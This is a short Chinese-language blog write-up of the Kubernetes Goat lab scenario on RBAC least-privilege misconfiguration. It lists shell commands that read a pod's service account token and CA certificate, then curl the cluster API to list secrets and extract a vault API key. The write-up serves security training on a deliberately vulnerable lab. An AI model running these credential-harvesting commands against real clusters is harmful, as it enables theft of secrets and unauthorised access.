Kubernetes Goat 16 - RBAC least privileges misconfiguration
RBAC least privileges misconfiguration
RBAC 最低特权配置错误
- 由于
Kubernetes
默认情况下将所有secrets
、tokens
和service accounts
信息都存储在一个固定的目录。直接访问这个目录,查找敏感的信息:
1 | cd /var/run/secrets/kubernetes.io/serviceaccount/ |
- 要指向内部 API 服务器主机名,我们可以从环境变量中导出它
1 | export APISERVER=https://${KUBERNETES_SERVICE_HOST} |
- 设置 ServiceAccount 令牌的路径
1 | export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount |
- 设置命名空间值
1 | export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace) |
- 读取 ServiceAccount token
1 | export TOKEN=$(cat ${SERVICEACCOUNT}/token) |
- 指向 ca.crt 路径,以便我们可以在 curl 请求中查询时使用它
1 | export CACERT=${SERVICEACCOUNT}/ca.crt |
- 现在我们可以使用令牌和构造的查询来探索 Kubernetes API
1 | curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api |
- 要查询默认命名空间中的可用机密,请运行以下命令
1 | curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets |
- 查询特定于命名空间的秘密
1 | curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets |
- 从secrets中获取k8svaulapikey值
1 | curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Putdownd’s Blog!